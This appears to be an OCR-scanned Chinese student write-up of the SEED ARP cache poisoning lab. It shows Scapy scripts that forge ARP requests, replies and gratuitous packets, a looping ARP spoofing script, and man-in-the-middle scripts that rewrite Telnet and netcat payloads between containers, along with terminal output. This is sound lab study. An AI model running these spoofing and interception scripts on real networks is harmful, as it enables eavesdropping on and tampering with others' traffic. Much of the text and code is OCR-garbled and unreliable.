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Ki% ARP request

K% ARP reply

K% ARP gratuitous message
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[03/12/25]seed@VM:~/Desktop$ dockps
cd30ff456c71 A-10.9.0.5
f9e66388784d M-10.9.0.105
ea353459991d B-10.9.0.6

ARP XY

HostA #1 HostB 1] arp 247 R W 16# N4, /£ HostA 1 ik i ¥
“& 3211 ethO, 7E HostB ping HostA

[root@cd30ff456c71:/# arp -n|

root@cd30ff456c71:/# tcpdump -i eth® -n

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth®, link-type EN1GMB (Ethernet), capture size 262144 bytes
06:28:23.569111 ARP, Request who-has 10.9.0.5 tell 10.9.0.6, length 28
06:28:23.569212 ARP, Reply 10.9.0.5 is-at 02:42:0a:09:00:05, length 28
06:28:23.569286 IP 10.9.0.6 > 10.9.0.5: ICMP echo request, id 27, seq 1, length
64

U6:28:23.5069317 IP 10.9.U0.5 > 10.9.0U.b: ICMP echo reply, 1d 27/, seq L, length o
06:28:24.571423 IP 10.9.0.6 > 10.9.0.5: ICMP echo request, id 27, seq 2, length
64

T arp 247 3R &N, Frih HostB 2i3t47 ) #&# i] “who has




10.9.0.5 1 mac Hili-”, HostA Wzl #%E24THE “10.9.0.5 1

mac HihkZ 02: 42: 0a: 09: 00: 057, ARjGiHiTiH(E.
6 HostA &1 mac ik

root@cd30ff456c71:/# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.9.0.5 netmask 255.255.255.0 broadcast 10.9.0.255
[ether ©2:42:0a:09:00:05 [txqueuelen & (Ethernet)
RX packets 61 bytes 6314 (6.3 KB)
RX errors @ dropped © overruns 0 frame 0
TX packets 6 bytes 476 (476.0 B)
TX errors 0 dropped 0 overruns @ carrier 08 collisions 0@

A HostB ¥ arp Z2/738, KINLZ T —Kid=x

root@ea353459991d:/# arp -n

Address Hwtype HWaddress Flags Mask Iface
110.9.0.5 ether 02:42:0a:09:00:05 C eth0 |
HostA th£ | —2% arp &A%
root@cd30ff456¢71:/# arp -n
Address HWtype HWaddress Flags Mask Iface
10.9.0.6 ether 02:42:0a:09:00:06 C etho
¥ arp_request.py AAILZE A RAFIHTITAAE M 8471
A, RKILHostA £ | — & arp &47

root@cd30ff456¢c71:/# arp -n
Address HWtype HWaddress Flags Mask Iface
10.9.0.6 ether 02:42:02:09:00:06 C etho
110.9.0.99 ether aa:bb:cc:dd:ee:ff C ethd |
10.9.0.1 ether 02:42:b7:8a:09:6b C eth®

AT Y

K% ARP request

&4 arp_request.py, 7£ HostM E#y#—4A> ARP 1, ¥ B

ip HhEfE ) M ) MAC HbdE, 35852 A

4 target IP = "10.9.0.5"

5 target_MAC = "02:42:0a:09:00:05"
6

7|fake_IP = "10.9.0.6"

8|[fake MAC = "02:42:0a:09:00:6/9"

A T arp 473K 10.9.0.6 ip Hulikd5 [\ M 1 MAC bk



root@cd30ff456c71:/# arp -n

Address HWtype HWaddress Flags Mask Iface

10.9.0.6 ether 02:42:0a2:09:00:69 | C eth0

10.9.0.99 ether aa:bb:cc:dd:ee: ff C eth0
Ki% ARP reply

&g arp_reply.py, 7£ HostM LE#j#—/ ARP 1, ¥ B #I

ip HkfEF M ) MAC Hiht, JFRIE4 A, IFHE NI 5+

SERILT, I Bl 45 R R AT S B

1#!/usr/bin/python3
2 from scapy.all import *

3
4target IP = "1 .9.0.5"
5ftarget MAC = "02:42:0a:09:00:05"
6
7|fake IP = "10.9.0.6"
8fake MAC = "02:42:02:09:00:69"
- st 1. B W ip £ A BT

Kk arp reply [ =¥ arp 247K

root@cd30ff456c71:/# arp -n

Address HWtype HWaddress Flags Mask

10.9.0.6 ether C

10.9.0.99 ether aa:bb:dc:dd:ee:ff C

10.9.0.1 ether 02:42:p7:8a:09:6b C
root@cd30ff456c71:/# tcpdump -i eth® -n

tcpdump: verbose output suppressed, use |-v or -vv for full protocol decode

listening on eth®, link-
07:04:43.301928 ARP, Rep
~C

1 packet captured

1 packet received by filter

@ packets dropped by ker
root@cd30ff456c71:/# arp
Address

10.9.0.6

10.9.0.99

10.9.0.1

-5 2: B ip

type EN1OMB (Ethernet), capture size 262144 bytes
ly 10.9.0.6 is-at 02:42:0a:09:00:69, length 28

nel

-n

HWtype HWaddrgss Flags Mask
ether C

ether aa:bb:cc:dd:ee:ff C

ether 02:42:b7:8a:09:6b C

AE A GA7T

fi ] arp -d 10.9.0.6 MIEx EHL A 1 B 2247, A E A%

W3Hr arp ZB7%

Ifact
eth@
ethd
etho

Iface
etho
etho
ethd



root@cd30ff456¢c71:/# arp -n

Address Hwtype HWaddress Flags Mask
10.9.0.99 ether aa:bb:cc:dd:ee:ff C
10.9.0.1 ether 02:42:b7:8a:09:6b C

root@cd30ff456c71:/# tcpdump -i eth® -n

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth@, link-type EN1OMB (Ethernet), capture size 262144 bytes
07:30:02.058027 ARP, Reply 10.9.0.6 is-at 02:42:0a:09:00:69, length 28

~C

1 packet captured

1 packet received by filter

0 packets dropped by kernel

root@cd30ff456c71:/# arp -n

Address Hwtype HWaddress Flags Mask
10.9.0.99 ether aa:bb:cc:dd:ee:ff C
10.9.0.1 ether 02:42:b7:8a:09:6b C

&% ARP gratuitous message

&4 arp_gratuitous.py, fE HostM L4 —4~ ARP 1, %

B [ ip k&I M ¥) MAC Hut

1#!/usr/bin/python3
2 from scapy.all import *

3
4fake IP = "10.9.0.6"

5 fake MAC = "02:42:02:09:00:69"
6broadcast = "ff:ff:ff:ff:ff:ff"
7

8# Construct the Ether header
9 ether = Ether()

10 ether.dst = broadcast / f#iiht
11 ether.src fake MAC

12

13# Construct the ARP packet
14 arp = ARP()

15arp.hwsrc = fake MA(C

l6 arp.psrc = fake IP

17

18 arp.hwdst = broadcast

19arp.pdst = fake IP P IP MR E ) TP Mk A (]
20

2larp.op = 1 # 1 for ARP request; 2 for ARP reply
22 WA

23 frame = ether/arp

24 sendp(frame, iface="eth0", verbose=False)

-~ 1. B i ip 76 A BIZELED
ffi ] arp_gratuitous.py J& & 5 arp A7 %

Iface
eth0
eth0

Iface
eth0
eth0



root@cd30ff456c¢c71l:/# arp -n

Address HwWtype HWaddress Flags Mask Iface
10.9.0.6 ether [02:42:02:00:00:06 1 C etho
10.9.0.99 ether aa:bb:cc:dd:ee: ff C etho
10.9.0.1 ether 02:42:b7:8a:09:6b C etho

root@cd30ff456c¢c71:/# tcpdump -i eth® -n

tcpdump: verbose output suppressed, use -\ or -vv for full protocol decode
listening on eth@, link-type EN1OMB (Ethernet), capture size 262144 bytes

07:22:28.240692 ARP, Request who-has 10.9.0.6 (ff:ff:ff:ff:ff:ff) tell 10.9.0.6,
length 28

~C

1 packet captured

1 packet received by filter

0 packets dropped by kernel
root@cd30ff456¢c71:/# arp -n

Address HwWtype HWaddressy Flags Mask Iface
10.9.0.6 ether 02:47:0a:09:00:069 C etho
10.9.0.99 ether aa:bb:cc:dd:ee: ff C etho
10.9.0.1 ether 02:42:b7:8a:09:6b C etho
= : A

- 5 2: B 1Y ip AME A I H

AT B
root@cd30ff456¢c71:/# arp -n
Address HWtype HWaddress Flags Mask Iface
10.9.0.99 ether aa:bb:cc:dd:ee: ff C etho
10.9.0.1 ether 02:42:b7:8a:09:6b C etho

root@cd30ff456¢c71:/# tcpdump -i eth® -n
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth®, link-type ENIOMB (Ethernet), capture size 262144 bytes

07:21:43.460672 ARP, Request who-has 10.9.0.6 (ff:ff:ff:ff:ff:ff) tell 10.9.0.6,
length 28

~C

1 packet captured

1 packet received by filter
0 packets dropped by kernel
root@cd30ff456¢71:/# arp -n

Address HWtype HWaddress Flags Mask Iface
10.9.0.99 ether aa:bb:cc:dd:ee: ff C ethe
10.9.0.1 _ ether 02:42:b7:8a:09:6b C eth@

T ARP ZHEHEXT Telnet #EATH ] N B

S £ M PER LR RIAS, #i&E&i% ARP N AL, HR
Host-A, il'&iAA Host-B % ) MAC Huhl & M 1)



1from scapy.all import *
2import time

3

4 def arp spoof(target ip, spoof ip, target mac, interface="eth0"):

5 # Construct the ARP packet to tell the target that spoof_ip is at our MAC address

6 arp response = ARP pdst=target ip, hwdst=target mac, psrc=spoof ip,
hwsrc=get if hwaddr(interface), op="is-at’

7 send(arp_response, iface=interface, verbose=False)

8 print(f"[+] Sent to {target ip}: {spoof ip} is at {get if hwaddr(interface)}")

9

10 def spoof_arp():

11 interface = "eth0" # Ensure this matches your actual network interface name

12

13 while True:

14 # Spoof Host A that Host B's IP corresponds to Host M's MAC address

15 arp_spoof("10.9.0.5", "10.9.0.6", "02:42:0a:09:00:05", interface)

16

17 # Spoof Host B that Host A's IP corresponds to Host M's MAC address

18 arp_spoof("10.9.0.6", "10.9.0.5", "02:42:0a:09:00:06", interface)

19

20 time.sleep(5) # Wait for 5 seconds before sending the next set of packets

21

22if name == " main

23 try:

24 spoaf arp()

25 except KeyboardInterrupt:

26 print("\n[-] Stopping ARP spoofing...")

27

root@cd30ff456c71: /# tcpdump -i eth® arp -n

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode

listening on eth®, link-type EN1GMB (Ethernet), capture size 262144 hytes

08:
08:
08:
08:

07:
07:
07:
07:

22.002602 ARP, Request who-has 10.9.0.5 tell 10.9.0.105, length 28
22.002677 ARP, Reply 10.9.0.5 is-at 02:42:0a:09:00:05, length 28
22.010501 ARP, Reply 10.9.0.6 is-at 02:42:0a:09:00:69, length 28
22.018191 ARP, Request who-has 10.9.0.6 tell 10.9.0.105, length 28

08:
08:
08:
08:

07:
07:
07:

07

27.032142 ARP, Reply 10.9.0.6 1s-at 02:42:0a:09:00:69, length 28
32.043032 ARP, Reply 10.9.0.6 is-at 02:42:0a:09:00:69, length 28
37.056295 ARP, Reply 10.9.0.6 is-at 02:42:0a:09:00:69, length 28
:42.066716 ARP, Reply 10.9.0.6 is-at 02:42:0a:09:00:69, length 28

il )

DR 2: EHL M KH] ip B EIEE AL B R, Wl ping
TR, XEPNEN M ORFREdEE, 38 Host A fil Host
B ik HIEE

root@cd30ff456c71:/# ping 10.9.0.6

PING 10.9.0.6 (10.9.0.6) 56(84) bytes of data.

~C

--- 10.9.0.6 ping statistics ---

20 packets transmitted, © received, 100% packet loss, time 19459ms

root@ea353459991d: /# ping 10.9.0.5

PING 10.9.0.5 (10.9.0.5) 56(84) bytes of data.

~C

--- 10.9.0.5 ping statistics ---

17 packets transmitted, O received, 100% packet loss, time 16370ms

BRR 3. FTHF ip BFRJEIK, ping BRI, EHL M {EAF
N R, EARESAR.




S A4 JA5) MITM X
EWR IP B RITERIHR T, 7 Host-A th{Hi [ telnet iz fEi%#:
Host-B, &)

root@cd30ff456c71:/# telnet 10.9.0.6
Trying 10.9.0.6...
Connected to 10.9.0.6.
Escape character is '"]°'.
Ubuntu 20.04.1 LTS
ea353459991d login: seed
Password:

Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-54-generic x86 64)

* Documentation:
* Management:
* Support:

root@cd30ff456¢c71:/# ping 10.9.0.6
PING 10.9.0.6 (10.9.0.6) 56(84) bytes of data.
64 bytes from 10.9.0.6:
From 10.9.0.105:
64 bytes from 10.9.0.6:
From 10.9.0.105:

root@ea353459991d:/# ping 10.9.0.5
PING 10.9.0.5 (10.9.0.5) 56(84) bytes of data.
64 bytes from 10.9.0.5:
64 bytes from 10.9.0.5:
64 bytes from 10.9.0.5:
From 10.9.0.105:

https://help.ubuntu.com
https://landscape.canonical.com
https://ubuntu.com/advantage

icmp_seq=1 ttl=63 time=0.417 ms
icmp_seq=2 Redirect Host(New nexthop:
icmp_seq=2 ttl=63 time=0.257 ms
icmp seq=3 Redirect Host(New nexthop:

icmp seq=1 tt1l=63 time=0.188 ms
icmp seq=2 ttl=63 time=0.154 ms
icmp seq=3 tt1l=63 time=0.163 ms
icmp seq=4 Redirect Host(New nexthop:

10.9.0.6)

10.9.0.6)

10.9.0.5)

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize’
Last login: Wed Mar 12 08:12:44 UTC 2025 from A-10.9.0.5.net-10.9.0.0 on pts/2
seed@ea353459991d:~$ ifconfig

command .

SRR M IP

5IP A = "10.9.0.5
6MAC A = "02:42:02:09:00
7IP B = "10.9.0.6"
8MAC B = "02:42:0a:09:00
9

Odef spoof pkt(pkt):
if pkt[IP].src == IP A and pkt[IP].dst == IP B and pkt.haslayer(TCP) and

1

77

'8 sniff(iface="etho"',

pkt[TCP].payload:|

newpkt = IP(byt
del (newpkt.chks
del (newpkt[TCP]
del(newpkt[TCP]

data = pkt[TCP]

es(pkt[IP]))
um)
.payload)
.chksum)

.payload. load

LR IIRE, 84T AT A

|newdata = b'7’

* Tlen(data)

# Bifinz |

send(newpkt/newdata, verbose=0)

elif pkt[IP].src
newpkt = IP(byt
del(newpkt.chks
del(newpkt[TCP]

send(newpkt, ve

IP B and pkt[IP].dst == IP A and pkt.haslayer(TCP):

es(pkt[IP]))
um)

.chksum)
rbose=0)

filter_bpf = f'tcp and

MAC B})'

(host {IP A} or

host {IP B})

ar

1d

(ether

Src

{MAC A} or

ether

SIc

£ A PRNERH B “Z “

filter=filter bpf, prn=spoof pkt)




seed@ea353459991d:~$ 27777771

HT ARP ZH X} Netcat 4T H [B] A BT
ZAT LR AR

5IP A = "10.9. 5

6MAC A = (2 42 a2:09:00:05"
7IP B = "10. ‘6”
8MAC B = ”)2‘42:Ua:09:00106”

9# RIGEBRANET
L@ NAME = "PanYiPei"
11
L2 def spoof pkt(pkt):
if pkt.haslayer(IP) and pkt.haslayer(TCP):
& if pkt[IP].src == IP_A and pkt[IP].dst == IP B:

L5 # Create a new packet based on the captured one.

L6 # 1) We need to delete the checksum in the IP & TCP headers,
L7 # because our modification will make them invalid.

L8 # Scapy will recalculate them if these fields are missing.
19 # 2) We also delete the original TCP payload.

20 newpkt = IP(bytes(pkt[IP]))

21 del newpkt.chksum

22 del newpkt[TCP].payload

23 del newpkt[TCP].chksum

24

15 if pkt[TCP].payload:

26 data = pkt[TCP].payload.load # The original payload data
27 # WS EEE, REERANETES

28 repeat_times = len(data) // len(NAME)

29 remainder = len(data) % len(NAME)

30 newdata = NAME * repeat times + NAME[:remainder]

31 send(newpkt / newdata, verbose=0)

32 else:

33 send(newpkt, verbose=0)

34 elif pkt[IP].src == IP_B and pkt[IP].dst == IP A:

35 # Create new packet based on the captured one

36 # Do not make any change

37 newpkt = IP(bytes(pkt[IP]))

38 del newpkt.chksum

39 del newpkt[TCP].chksum

10 send(newpkt, verbose=0)

11

124 EHN, FEZREN A FEN B ZEEY TCP #HiEQ

13f = f'tcp and ((host {IP A} and dst {IP B}) or (host {IP B} and dst {IP A}))
4 print(f"[+] Filtering on interface eth® with filter: {f}")

15 pkt = sniff(iface="ethf'. filter=f. brn=spoof bpkt)

Host-A il Host-B H1 & 7 tep &8 (i netcat w4 J&, 1&
A Hig N B2 “PanYiPei”

root@cd30ff456c71:/# nc 10.9.0.6 9090
nihaopp

root@ea353459991d:/# nc -1p 9090
PanYiPeil]




=, ZERMTREE (sacesrtrtann @B AR 2 F .
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W 217 arp_request.py i

R TTI: IBAT A HT 75 B4 PATAUR, T “chomd +x xxx” i

42 Ja FiaiTRIm]

root@f9e66388784d:/volumes# ./arp request.py
bash: ./arp request.py: Permission denied

root@f9e66388784d:/volumes# chmod +x ./arp request.py
root@f9e66388784d: /volumes# ./arp request.py

Sent 1 packets.

o). @7 telnet Itf, a @AEiERE E b e, £ A ) Telnet &
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R PRARESEE B IP_A K45 IP_B ) TCP it i sebr
1N, ¥ newdata = data 1224 newdata = b'Z' * len(data)
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